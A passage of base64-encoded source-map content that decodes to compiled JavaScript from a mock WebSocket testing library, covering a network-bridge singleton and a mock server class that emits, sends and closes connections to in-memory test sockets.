gICAgIH1cbiAgICB9XG5cbiAgICAvKlxuICAgICogRmluZHMgdGhlIHNlcnZlciB3aGljaCBpcyAncnVubmluZycgb24gdGhlIGdpdmVuIHVybC5cbiAgICAqXG4gICAgKiBAcGFyYW0ge3N0cmluZ30gdXJsIC0gdGhlIHVybCB0byB1c2UgdG8gZmluZCB3aGljaCBzZXJ2ZXIgaXMgcnVubmluZyBvbiBpdFxuICAgICovXG4gIH0sIHtcbiAgICBrZXk6ICdzZXJ2ZXJMb29rdXAnLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBzZXJ2ZXJMb29rdXAodXJsKSB7XG4gICAgICB2YXIgY29ubmVjdGlvbkxvb2t1cCA9IHRoaXMudXJsTWFwW3VybF07XG5cbiAgICAgIGlmIChjb25uZWN0aW9uTG9va3VwKSB7XG4gICAgICAgIHJldHVybiBjb25uZWN0aW9uTG9va3VwLnNlcnZlcjtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvKlxuICAgICogRmluZHMgYWxsIHdlYnNvY2tldHMgd2hpY2ggaXMgJ2xpc3RlbmluZycgb24gdGhlIGdpdmVuIHVybC5cbiAgICAqXG4gICAgKiBAcGFyYW0ge3N0cmluZ30gdXJsIC0gdGhlIHVybCB0byB1c2UgdG8gZmluZCBhbGwgd2Vic29ja2V0cyB3aGljaCBhcmUgYXNzb2NpYXRlZCB3aXRoIGl0XG4gICAgKiBAcGFyYW0ge3N0cmluZ30gcm9vbSAtIGlmIGEgcm9vbSBpcyBwcm92aWRlZCwgd2lsbCBvbmx5IHJldHVybiBzb2NrZXRzIGluIHRoaXMgcm9vbVxuICAgICovXG4gIH0sIHtcbiAgICBrZXk6ICd3ZWJzb2NrZXRzTG9va3VwJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gd2Vic29ja2V0c0xvb2t1cCh1cmwsIHJvb20pIHtcbiAgICAgIHZhciBjb25uZWN0aW9uTG9va3VwID0gdGhpcy51cmxNYXBbdXJsXTtcblxuICAgICAgaWYgKCFjb25uZWN0aW9uTG9va3VwKSB7XG4gICAgICAgIHJldHVybiBbXTtcbiAgICAgIH1cblxuICAgICAgaWYgKHJvb20pIHtcbiAgICAgICAgdmFyIG1lbWJlcnMgPSBjb25uZWN0aW9uTG9va3VwLnJvb21NZW1iZXJzaGlwc1tyb29tXTtcbiAgICAgICAgcmV0dXJuIG1lbWJlcnMgPyBtZW1iZXJzIDogW107XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBjb25uZWN0aW9uTG9va3VwLndlYnNvY2tldHM7XG4gICAgfVxuXG4gICAgLypcbiAgICAqIFJlbW92ZXMgdGhlIGVudHJ5IGFzc29jaWF0ZWQgd2l0aCB0aGUgdXJsLlxuICAgICpcbiAgICAqIEBwYXJhbSB7c3RyaW5nfSB1cmxcbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAncmVtb3ZlU2VydmVyJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gcmVtb3ZlU2VydmVyKHVybCkge1xuICAgICAgZGVsZXRlIHRoaXMudXJsTWFwW3VybF07XG4gICAgfVxuXG4gICAgLypcbiAgICAqIFJlbW92ZXMgdGhlIGluZGl2aWR1YWwgd2Vic29ja2V0IGZyb20gdGhlIG1hcCBvZiBhc3NvY2lhdGVkIHdlYnNvY2tldHMuXG4gICAgKlxuICAgICogQHBhcmFtIHtvYmplY3R9IHdlYnNvY2tldCAtIHdlYnNvY2tldCBvYmplY3QgdG8gcmVtb3ZlIGZyb20gdGhlIHVybCBtYXBcbiAgICAqIEBwYXJhbSB7c3RyaW5nfSB1cmxcbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAncmVtb3ZlV2ViU29ja2V0JyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gcmVtb3ZlV2ViU29ja2V0KHdlYnNvY2tldCwgdXJsKSB7XG4gICAgICB2YXIgY29ubmVjdGlvbkxvb2t1cCA9IHRoaXMudXJsTWFwW3VybF07XG5cbiAgICAgIGlmIChjb25uZWN0aW9uTG9va3VwKSB7XG4gICAgICAgIGNvbm5lY3Rpb25Mb29rdXAud2Vic29ja2V0cyA9ICgwLCBfaGVscGVyc0FycmF5SGVscGVycy5yZWplY3QpKGNvbm5lY3Rpb25Mb29rdXAud2Vic29ja2V0cywgZnVuY3Rpb24gKHNvY2tldCkge1xuICAgICAgICAgIHJldHVybiBzb2NrZXQgPT09IHdlYnNvY2tldDtcbiAgICAgICAgfSk7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLypcbiAgICAqIFJlbW92ZXMgYSB3ZWJzb2NrZXQgZnJvbSBhIHJvb21cbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAncmVtb3ZlTWVtYmVyc2hpcEZyb21Sb29tJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gcmVtb3ZlTWVtYmVyc2hpcEZyb21Sb29tKHdlYnNvY2tldCwgcm9vbSkge1xuICAgICAgdmFyIGNvbm5lY3Rpb25Mb29rdXAgPSB0aGlzLnVybE1hcFt3ZWJzb2NrZXQudXJsXTtcbiAgICAgIHZhciBtZW1iZXJzaGlwcyA9IGNvbm5lY3Rpb25Mb29rdXAucm9vbU1lbWJlcnNoaXBzW3Jvb21dO1xuXG4gICAgICBpZiAoY29ubmVjdGlvbkxvb2t1cCAmJiBtZW1iZXJzaGlwcyAhPT0gbnVsbCkge1xuICAgICAgICBjb25uZWN0aW9uTG9va3VwLnJvb21NZW1iZXJzaGlwc1tyb29tXSA9ICgwLCBfaGVscGVyc0FycmF5SGVscGVycy5yZWplY3QpKG1lbWJlcnNoaXBzLCBmdW5jdGlvbiAoc29ja2V0KSB7XG4gICAgICAgICAgcmV0dXJuIHNvY2tldCA9PT0gd2Vic29ja2V0O1xuICAgICAgICB9KTtcbiAgICAgIH1cbiAgICB9XG4gIH1dKTtcblxuICByZXR1cm4gTmV0d29ya0JyaWRnZTtcbn0pKCk7XG5cbmV4cG9ydHNbJ2RlZmF1bHQnXSA9IG5ldyBOZXR3b3JrQnJpZGdlKCk7XG4vLyBOb3RlOiB0aGlzIGlzIGEgc2luZ2xldG9uXG5tb2R1bGUuZXhwb3J0cyA9IGV4cG9ydHNbJ2RlZmF1bHQnXTsiLCIndXNlIHN0cmljdCc7XG5cbk9iamVjdC5kZWZpbmVQcm9wZXJ0eShleHBvcnRzLCAnX19lc01vZHVsZScsIHtcbiAgdmFsdWU6IHRydWVcbn0pO1xuXG52YXIgX2NyZWF0ZUNsYXNzID0gKGZ1bmN0aW9uICgpIHsgZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyh0YXJnZXQsIHByb3BzKSB7IGZvciAodmFyIGkgPSAwOyBpIDwgcHJvcHMubGVuZ3RoOyBpKyspIHsgdmFyIGRlc2NyaXB0b3IgPSBwcm9wc1tpXTsgZGVzY3JpcHRvci5lbnVtZXJhYmxlID0gZGVzY3JpcHRvci5lbnVtZXJhYmxlIHx8IGZhbHNlOyBkZXNjcmlwdG9yLmNvbmZpZ3VyYWJsZSA9IHRydWU7IGlmICgndmFsdWUnIGluIGRlc2NyaXB0b3IpIGRlc2NyaXB0b3Iud3JpdGFibGUgPSB0cnVlOyBPYmplY3QuZGVmaW5lUHJvcGVydHkodGFyZ2V0LCBkZXNjcmlwdG9yLmtleSwgZGVzY3JpcHRvcik7IH0gfSByZXR1cm4gZnVuY3Rpb24gKENvbnN0cnVjdG9yLCBwcm90b1Byb3BzLCBzdGF0aWNQcm9wcykgeyBpZiAocHJvdG9Qcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvci5wcm90b3R5cGUsIHByb3RvUHJvcHMpOyBpZiAoc3RhdGljUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IsIHN0YXRpY1Byb3BzKTsgcmV0dXJuIENvbnN0cnVjdG9yOyB9OyB9KSgpO1xuXG52YXIgX2dldCA9IGZ1bmN0aW9uIGdldChfeDQsIF94NSwgX3g2KSB7IHZhciBfYWdhaW4gPSB0cnVlOyBfZnVuY3Rpb246IHdoaWxlIChfYWdhaW4pIHsgdmFyIG9iamVjdCA9IF94NCwgcHJvcGVydHkgPSBfeDUsIHJlY2VpdmVyID0gX3g2OyBfYWdhaW4gPSBmYWxzZTsgaWYgKG9iamVjdCA9PT0gbnVsbCkgb2JqZWN0ID0gRnVuY3Rpb24ucHJvdG90eXBlOyB2YXIgZGVzYyA9IE9iamVjdC5nZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3Iob2JqZWN0LCBwcm9wZXJ0eSk7IGlmIChkZXNjID09PSB1bmRlZmluZWQpIHsgdmFyIHBhcmVudCA9IE9iamVjdC5nZXRQcm90b3R5cGVPZihvYmplY3QpOyBpZiAocGFyZW50ID09PSBudWxsKSB7IHJldHVybiB1bmRlZmluZWQ7IH0gZWxzZSB7IF94NCA9IHBhcmVudDsgX3g1ID0gcHJvcGVydHk7IF94NiA9IHJlY2VpdmVyOyBfYWdhaW4gPSB0cnVlOyBkZXNjID0gcGFyZW50ID0gdW5kZWZpbmVkOyBjb250aW51ZSBfZnVuY3Rpb247IH0gfSBlbHNlIGlmICgndmFsdWUnIGluIGRlc2MpIHsgcmV0dXJuIGRlc2MudmFsdWU7IH0gZWxzZSB7IHZhciBnZXR0ZXIgPSBkZXNjLmdldDsgaWYgKGdldHRlciA9PT0gdW5kZWZpbmVkKSB7IHJldHVybiB1bmRlZmluZWQ7IH0gcmV0dXJuIGdldHRlci5jYWxsKHJlY2VpdmVyKTsgfSB9IH07XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7ICdkZWZhdWx0Jzogb2JqIH07IH1cblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb24nKTsgfSB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09ICdmdW5jdGlvbicgJiYgc3VwZXJDbGFzcyAhPT0gbnVsbCkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90ICcgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbnZhciBfdXJpanMgPSByZXF1aXJlKCd1cmlqcycpO1xuXG52YXIgX3VyaWpzMiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX3VyaWpzKTtcblxudmFyIF93ZWJzb2NrZXQgPSByZXF1aXJlKCcuL3dlYnNvY2tldCcpO1xuXG52YXIgX3dlYnNvY2tldDIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF93ZWJzb2NrZXQpO1xuXG52YXIgX2V2ZW50VGFyZ2V0ID0gcmVxdWlyZSgnLi9ldmVudC10YXJnZXQnKTtcblxudmFyIF9ldmVudFRhcmdldDIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9ldmVudFRhcmdldCk7XG5cbnZhciBfbmV0d29ya0JyaWRnZSA9IHJlcXVpcmUoJy4vbmV0d29yay1icmlkZ2UnKTtcblxudmFyIF9uZXR3b3JrQnJpZGdlMiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX25ldHdvcmtCcmlkZ2UpO1xuXG52YXIgX2hlbHBlcnNDbG9zZUNvZGVzID0gcmVxdWlyZSgnLi9oZWxwZXJzL2Nsb3NlLWNvZGVzJyk7XG5cbnZhciBfaGVscGVyc0Nsb3NlQ29kZXMyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfaGVscGVyc0Nsb3NlQ29kZXMpO1xuXG52YXIgX2V2ZW50RmFjdG9yeSA9IHJlcXVpcmUoJy4vZXZlbnQtZmFjdG9yeScpO1xuXG4vKlxuKiBodHRwczovL2dpdGh1Yi5jb20vd2Vic29ja2V0cy93cyNzZXJ2ZXItZXhhbXBsZVxuKi9cblxudmFyIFNlcnZlciA9IChmdW5jdGlvbiAoX0V2ZW50VGFyZ2V0KSB7XG4gIF9pbmhlcml0cyhTZXJ2ZXIsIF9FdmVudFRhcmdldCk7XG5cbiAgLypcbiAgKiBAcGFyYW0ge3N0cmluZ30gdXJsXG4gICovXG5cbiAgZnVuY3Rpb24gU2VydmVyKHVybCkge1xuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBTZXJ2ZXIpO1xuXG4gICAgX2dldChPYmplY3QuZ2V0UHJvdG90eXBlT2YoU2VydmVyLnByb3RvdHlwZSksICdjb25zdHJ1Y3RvcicsIHRoaXMpLmNhbGwodGhpcyk7XG4gICAgdGhpcy51cmwgPSAoMCwgX3VyaWpzMlsnZGVmYXVsdCddKSh1cmwpLnRvU3RyaW5nKCk7XG4gICAgdmFyIHNlcnZlciA9IF9uZXR3b3JrQnJpZGdlMlsnZGVmYXVsdCddLmF0dGFjaFNlcnZlcih0aGlzLCB0aGlzLnVybCk7XG5cbiAgICBpZiAoIXNlcnZlcikge1xuICAgICAgdGhpcy5kaXNwYXRjaEV2ZW50KCgwLCBfZXZlbnRGYWN0b3J5LmNyZWF0ZUV2ZW50KSh7IHR5cGU6ICdlcnJvcicgfSkpO1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdBIG1vY2sgc2VydmVyIGlzIGFscmVhZHkgbGlzdGVuaW5nIG9uIHRoaXMgdXJsJyk7XG4gICAgfVxuICB9XG5cbiAgLypcbiAgICogQWx0ZXJuYXRpdmUgY29uc3RydWN0b3IgdG8gc3VwcG9ydCBuYW1lc3BhY2VzIGluIHNvY2tldC5pb1xuICAgKlxuICAgKiBodHRwOi8vc29ja2V0LmlvL2RvY3Mvcm9vbXMtYW5kLW5hbWVzcGFjZXMvI2N1c3RvbS1uYW1lc3BhY2VzXG4gICAqL1xuXG4gIC8qXG4gICogVGhpcyBpcyB0aGUgbWFpbiBmdW5jdGlvbiBmb3IgdGhlIG1vY2sgc2VydmVyIHRvIHN1YnNjcmliZSB0byB0aGUgb24gZXZlbnRzLlxuICAqXG4gICogaWU6IG1vY2tTZXJ2ZXIub24oJ2Nvbm5lY3Rpb24nLCBmdW5jdGlvbigpIHsgY29uc29sZS5sb2coJ2EgbW9jayBjbGllbnQgY29ubmVjdGVkJyk7IH0pO1xuICAqXG4gICogQHBhcmFtIHtzdHJpbmd9IHR5cGUgLSBUaGUgZXZlbnQga2V5IHRvIHN1YnNjcmliZSB0by4gVmFsaWQga2V5cyBhcmU6IGNvbm5lY3Rpb24sIG1lc3NhZ2UsIGFuZCBjbG9zZS5cbiAgKiBAcGFyYW0ge2Z1bmN0aW9ufSBjYWxsYmFjayAtIFRoZSBjYWxsYmFjayB3aGljaCBzaG91bGQgYmUgY2FsbGVkIHdoZW4gYSBjZXJ0YWluIGV2ZW50IGlzIGZpcmVkLlxuICAqL1xuXG4gIF9jcmVhdGVDbGFzcyhTZXJ2ZXIsIFt7XG4gICAga2V5OiAnb24nLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBvbih0eXBlLCBjYWxsYmFjaykge1xuICAgICAgdGhpcy5hZGRFdmVudExpc3RlbmVyKHR5cGUsIGNhbGxiYWNrKTtcbiAgICB9XG5cbiAgICAvKlxuICAgICogVGhpcyBzZW5kIGZ1bmN0aW9uIHdpbGwgbm90aWZ5IGFsbCBtb2NrIGNsaWVudHMgdmlhIHRoZWlyIG9ubWVzc2FnZSBjYWxsYmFja3MgdGhhdCB0aGUgc2VydmVyXG4gICAgKiBoYXMgYSBtZXNzYWdlIGZvciB0aGVtLlxuICAgICpcbiAgICAqIEBwYXJhbSB7Kn0gZGF0YSAtIEFueSBqYXZhc2NyaXB0IG9iamVjdCB3aGljaCB3aWxsIGJlIGNyYWZ0ZWQgaW50byBhIE1lc3NhZ2VPYmplY3QuXG4gICAgKi9cbiAgfSwge1xuICAgIGtleTogJ3NlbmQnLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBzZW5kKGRhdGEpIHtcbiAgICAgIHZhciBvcHRpb25zID0gYXJndW1lbnRzLmxlbmd0aCA8PSAxIHx8IGFyZ3VtZW50c1sxXSA9PT0gdW5kZWZpbmVkID8ge30gOiBhcmd1bWVudHNbMV07XG5cbiAgICAgIHRoaXMuZW1pdCgnbWVzc2FnZScsIGRhdGEsIG9wdGlvbnMpO1xuICAgIH1cblxuICAgIC8qXG4gICAgKiBTZW5kcyBhIGdlbmVyaWMgbWVzc2FnZSBldmVudCB0byBhbGwgbW9jayBjbGllbnRzLlxuICAgICovXG4gIH0sIHtcbiAgICBrZXk6ICdlbWl0JyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gZW1pdChldmVudCwgZGF0YSkge1xuICAgICAgdmFyIF90aGlzMiA9IHRoaXM7XG5cbiAgICAgIHZhciBvcHRpb25zID0gYXJndW1lbnRzLmxlbmd0aCA8PSAyIHx8IGFyZ3VtZW50c1syXSA9PT0gdW5kZWZpbmVkID8ge30gOiBhcmd1bWVudHNbMl07XG4gICAgICB2YXIgd2Vic29ja2V0cyA9IG9wdGlvbnMud2Vic29ja2V0cztcblxuICAgICAgaWYgKCF3ZWJzb2NrZXRzKSB7XG4gICAgICAgIHdlYnNvY2tldHMgPSBfbmV0d29ya0JyaWRnZTJbJ2RlZmF1bHQnXS53ZWJzb2NrZXRzTG9va3VwKHRoaXMudXJsKTtcbiAgICAgIH1cblxuICAgICAgd2Vic29ja2V0cy5mb3JFYWNoKGZ1bmN0aW9uIChzb2NrZXQpIHtcbiAgICAgICAgc29ja2V0LmRpc3BhdGNoRXZlbnQoKDAsIF9ldmVudEZhY3RvcnkuY3JlYXRlTWVzc2FnZUV2ZW50KSh7XG4gICAgICAgICAgdHlwZTogZXZlbnQsXG4gICAgICAgICAgZGF0YTogZGF0YSxcbiAgICAgICAgICBvcmlnaW46IF90aGlzMi51cmwsXG4gICAgICAgICAgdGFyZ2V0OiBzb2NrZXRcbiAgICAgICAgfSkpO1xuICAgICAgfSk7XG4gICAgfVxuXG4gICAgLypcbiAgICAqIENsb3NlcyB0aGUgY29ubmVjdGlvbiBhbmQgdHJpZ2dlcnMgdGhlIG9uY2xvc2UgbWV0aG9kIG9mIGFsbCBsaXN0ZW5pbmdcbiAgICAqIHdlYnNvY2tldHMuIEFmdGVyIHRoYXQgaXQgcmVtb3ZlcyBpdHNlbGYgZnJvbSB0aGUgdXJsTWFwIHNvIGFub3RoZXIgc2VydmVyXG4gICAgKiBjb3VsZCBhZGQgaXRzZWxmIHRvIHRoZSB1cmwuXG4gICAgKlxuICAgICogQHBhcmFtIHtvYmplY3R9IG9wdGlvbnNcbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAnY2xvc2UnLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBjbG9zZSgpIHtcbiAgICAgIHZhciBvcHRpb25zID0gYXJndW1lbnRzLmxlbmd0aCA8PSAwIHx8IGFyZ3VtZW50c1swXSA9PT0gdW5kZWZpbmVkID8ge30gOiBhcmd1bWVudHNbMF07XG4gICAgICB2YXIgY29kZSA9IG9wdGlvbnMuY29kZTtcbiAgICAgIHZhciByZWFzb24gPSBvcHRpb25zLnJlYXNvbjtcbiAgICAgIHZhciB3YXNDbGVhbiA9IG9wdGlvbnMud2FzQ2xlYW47XG5cbiAgICAgIHZhciBsaXN0ZW5lcnMgPSBfbmV0d29ya0JyaWRnZTJbJ2RlZmF1bHQnXS53ZWJzb2NrZXRzTG9va3VwKHRoaXMudXJsKTtcblxuICAgICAgbGlzdGVuZXJzLmZvckVhY2goZnVuY3Rpb24gKHNvY2tldCkge1xuICAgICAgICBzb2NrZXQucmVhZHlTdGF0ZSA9IF93ZWJzb2NrZXQyWydkZWZhdWx0J10uQ0xPU0U7XG4gICAgICAgIHNvY2tldC5kaXNwYXRjaEV2ZW50KCgwLCBfZXZlbnRGYWN0b3J5LmNyZWF0ZUNsb3NlRXZlbnQpKHtcbiAgICAgICAgICB0eXBlOiAnY2xvc2UnLFxuICAgICAgICAgIHRhcmdldDogc29ja2V0LFxuICAgICAgICAgIGNvZGU6IGNvZGUgfHwgX2hlbHBlcnNDbG9zZUNvZGVzMlsnZGVmYXVsdCddLkNMT1NFX05PUk1BTCxcbiAgICAgICAgICByZWFzb246IHJlYXNvbiB8fCAnJyxcbiAgICAgICAgICB3YXNDbGVhbjogd2FzQ2xlYW5cbiAgICAgICAgfSkpO1xuICAgICAgfSk7XG5cbiAgICAgIHRoaXMuZGlzcGF0Y2hFdmVudCgoMCwgX2V2ZW50RmFjdG9yeS5jcmVhdGVDbG9zZUV2ZW50KSh7IHR5cGU6ICdjbG9zZScgfSksIHRoaXMpO1xuICAgICAgX25ldHdvcmtCcmlkZ2UyWydkZWZhdWx0J10ucmVtb3ZlU2VydmVyKHRoaXMudXJsKTtcbiAgICB9XG5cbiAgICAvKlxuICAgICogUmV0dXJucyBhbiBhcnJheSBvZiB3ZWJzb2NrZXRzIHdoaWNoIGFyZSBsaXN0ZW5pbmcgdG8gdGhpcyBzZXJ2ZXJcbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAnY2xpZW50cycsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIGNsaWVudHMoKSB7XG4gICAgICByZXR1cm4gX25ldHdvcmtCcmlkZ2UyWydkZWZhdWx0J10ud2Vic29ja2V0c0xvb2t1cCh0aGlzLnVybCk7XG4gICAgfVxuXG4gICAgLypcbiAgICAqIFByZXBhcmVzIGEgbWV0aG9kIHRvIHN1Ym1pdCBhbiBldmVudCB0byBtZW1iZXJzIG9mIHRoZSByb29tXG4gICAgKlxuICAgICogZS5nLiBzZXJ2ZXIudG8oJ215LXJvb20nKS5lbWl0KCdoaSEnKTtcbiAgICAqL1xuICB9LCB7XG4gICAga2V5OiAndG8nLFxuICAgIHZhbHVlOiBmdW5jdGlvbiB0byhyb29tKSB7XG4gICAgICB2YXIgX3RoaXMgPSB0aGlzO1xuICAgICAgdmFyIHdlYnNvY2tldHMgPSBfbmV0d29ya0JyaWRnZTJbJ2RlZmF1bHQnXS53ZWJzb2NrZXRzTG9va3VwKHRoaXMudXJsLCByb29tKTtcbiAgICAgIHJldHVybiB7XG4gICAgICAgIGVtaXQ6IGZ1bmN0aW9uIGVtaXQoZXZlbnQsIGRhdGEpIHtcbiAgICAgICAgICBfdGhpcy5lbWl0KGV2ZW50LCBkYXRhLCB7IHdlYnNvY2tldHM6IHdlYnNvY2tldHMgfSk7XG4gICAgICAgIH1cbiAgICAgIH07XG4gICAgfVxuICB9XSk7XG5cbiAgcmV0dXJuIFNlcnZlcjtcbn0pKF9ldmVudFRhcmdldDJbJ2RlZmF1bHQnXSk7XG5cblNlcnZlci5vZiA9IGZ1bmN0aW9uIG9mKHVybCkge1xuICByZXR1cm4gbmV3IFNlcnZlcih1cmwpO1xufTtcblxuZXhwb3J0c1snZGVmYXVsdCddID0gU2VydmVyO1xubW9kdWxlLmV4cG9ydHMgPSBleHBvcnRzWydkZWZhdWx0J107IiwiJ3VzZSBzdHJpY3QnO1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7XG4gIHZhbHVlOiB0cnVlXG59KTtcblxudmFyIF9jcmVhdGVDbGFzcyA9IChmdW5jdGlvbiAoKSB7IGZ1bmN0aW9uIGRlZmluZVByb3BlcnRpZXModGFyZ2V0LCBwcm9wcykgeyBmb3IgKHZhciBpID0gMDsgaSA8IHByb3BzLmxlbmd0aDsgaSsrKSB7IHZhciBkZXNjcmlwdG9yID0gcHJvcHNbaV07IGRlc2NyaXB0b3IuZW51bWVyYWJsZSA9IGRlc2NyaXB0b3IuZW51bWVyYWJsZSB8fCBmYWxzZTsgZGVzY3JpcHRvci5jb25maWd1cmFibGUgPSB0cnVlOyBpZiAoJ3ZhbHVlJyBpbiBkZXNjcmlwdG9yKSBkZXNjcmlwdG9yLndyaXRhYmxlID0gdHJ1ZTsgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRhcmdldCwgZGVzY3JpcHRvci5rZXksIGRlc2NyaXB0b3IpOyB9IH0gcmV0dXJuIGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgcHJvdG9Qcm9wcywgc3RhdGljUHJvcHMpIHsgaWYgKHByb3RvUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IucHJvdG90eXBlLCBwcm90b1Byb3BzKTsgaWYgKHN0YXRpY1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLCBzdGF0aWNQcm9wcyk7IHJldHVybiBDb25zdHJ1Y3RvcjsgfTsgfSkoKTtcblxudmFyIF9nZXQgPSBmdW5jdGlvbiBnZXQoX3gzLCBfeDQsIF94NSkgeyB2YXIgX2FnYWluID0gdHJ1ZTsgX2Z1bmN0aW9uOiB3aGlsZSAoX2FnYWluKSB7IHZhciBvYmplY3QgPSBfeDMsIHByb3BlcnR5ID0gX3g0LCByZWNlaXZlciA9IF94NTsgX2FnYWluID0gZmFsc2U7IGlmIChvYmplY3QgPT09IG51bGwpIG9iamVjdCA9IEZ1bmN0aW9uLnByb3RvdHlwZTsgdmFyIGRlc2MgPSBPYmplY3QuZ2V0T3duUHJvcGVydHlEZXNjcmlwdG9yKG9iamVjdCwgcHJvcGVydHkpOyBpZiAoZGVzYyA9PT0gdW5kZWZpbmVkKSB7IHZhciBwYXJlbnQgPSBPYmplY3QuZ2V0UHJvdG90eXBlT2Yob2JqZWN0KTsgaWYgKHBhcmVudCA9PT0gbnVsbCkgeyByZXR1cm4gdW5kZWZpbmVkOyB9IGVsc2UgeyBfeDMgPSBwYXJlbnQ7IF94NCA9IHByb3BlcnR5OyBfeDUgPSByZWNlaXZlcjsgX2FnYWluID0gdHJ1ZTsgZGVzYyA9IHBhcmVudCA9IHVuZGVmaW5lZDsgY29udGludWUgX2Z1bmN0aW9uOyB9IH0gZWxzZSBpZiAoJ3ZhbHVlJyBpbiBkZXNjKSB7IHJldHVybiBkZXNjLnZhbHVlOyB9IGVsc2UgeyB2YXIgZ2V0dGVyID0gZGVzYy5nZXQ7IGlmIChnZXR0ZXIgPT09IHVuZGVmaW5lZCkgeyByZXR1cm4gdW5kZWZpbmVkOyB9IHJldHVybiBnZXR0ZXIuY2FsbChyZWNlaXZlcik7IH0gfSB9O1xuXG5mdW5jdGlvbiBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KG9iaikgeyByZXR1cm4gb2JqICYmIG9iai5fX2VzTW9kdWxlID8gb2JqIDogeyAnZGVmYXVsdCc6IG9iaiB9OyB9XG5cbmZ1bmN0aW9uIF9jbGFzc0NhbGxDaGVjayhpbnN0YW5jZSwgQ29uc3RydWN0b3IpIHsgaWYgKCEoaW5zdGFuY2UgaW5zdGFuY2VvZiBDb25zdHJ1Y3RvcikpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcignQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uJyk7IH0gfVxuXG5mdW5jdGlvbiBfaW5oZXJpdHMoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIHsgaWYgKHR5cGVvZiBzdXBlckNsYXNzICE9PSAnZnVuY3Rpb24nICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcignU3VwZXIgZXhwcmVzc2lvbiBtdXN0IGVpdGhlciBiZSBudWxsIG9yIGEgZnVuY3Rpb24sIG5vdCAnICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG52YXIgX3VyaWpzID0gcmVxdWlyZSgndXJpanMnKTtcblxudmFyIF91cmlqczIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF91cmlqcyk7XG5cbnZhciBfaGVscGVyc0RlbGF5ID0gcmVxdWlyZSgnLi9oZWxwZX